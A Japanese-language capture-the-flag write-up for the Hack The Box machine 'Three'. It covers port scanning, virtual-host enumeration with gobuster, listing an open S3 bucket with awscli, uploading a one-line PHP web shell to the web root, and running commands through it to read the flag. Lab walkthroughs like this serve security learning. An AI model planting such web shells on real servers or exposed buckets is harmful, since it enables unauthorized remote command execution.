Skip to content

Latest commit

 

History

History
98 lines (72 loc) · 3.07 KB

File metadata and controls

98 lines (72 loc) · 3.07 KB

Three

/ Overview

  1. nmap
    • 22, 80が開いている。
  2. webアクセス
    • サイト内にメールアドレスがある。
    • phpで動いている。
  3. メールアドレスのドメインを/etc/hostに追記
  4. gobusterでサブドメイン列挙。
    • s3を発見。
    • サブドメイン付きも/etc/hosts追記。
  5. awscliでバケット確認
    • webルートがある。
  6. phpリバースシェル配置
    • shell.phpをサーバーにコピーする。
  7. RCE

/ Writeup

1. nmap

ターゲットのipは$ipとする。

nmap -p- --min-rate 1000 -sV $ip

22(SSH), 80(HTTP)が開いている。

2. webアクセス

http://$ipでアクセスしてソースコードを見ると、phpでメールを送っていることが分かる。

また、管理者のメールアドレスとしてmail@thetoppers.htbが記載されているため、/etc/hosts$ip thetoppers.htbを追加する。 (理由はこちらのwriteupを参照)

3. gobusterでサブドメイン列挙。

サブドメインがないか辞書攻撃で列挙する。

gobuster vhost -u http://thetoppers.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
  • vhost : バーチャルホスト調査モード
  • -u : URL指定
  • -w : ワードリスト指定
  • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt : サブドメイン特化の辞書
  • --append-domain : <word>.thetoppers.htbを探索するオプション

結果、s3.thetoppers.htbが見つかった。これは AWS S3 であると予想される。

/etc/hosts$ip s3.thetoppers.htbを追記する。

4. awscliでバケット確認

awscliから操作するコマンドとしてawscliがあるのでまずはインストール。

sudo apt install awscli

次にターゲットのs3の情報を見る。

# 初期設定:全てtmpとしておいて良い。
aws configure

# バケットの確認
aws --endpoint-url http://s3.thetoppers.htb s3 ls
  • configure : ユーザーの初期設定(今回の問題では適当でいい)
  • --endpoint-url : 接続するサイト
  • s3 : s3サービスが対象
  • ls : ファイル・フォルダの列挙

thetoppers.htbというバケットがあるので中身を確認。

aws --endpoint-url http://s3.thetoppers.htb s3 ls s3://thetoppers.htb 

images, index.php, .htaccessがあるのでwebのバケットであることが分かる。

5. phpリバースシェル配置

このバケットにリバースシェルを配置する。

shell.php

<?php system($_GET["cmd"]); ?>
aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb 
  • cp <src> <dist> : srcのファイルをdistにコピー

6. RCE

Webでhttp://thetoppers.htb/shell.php?cmd=<任意のコマンド>で結果が得られる。../flag.txtを読み込んでクリア。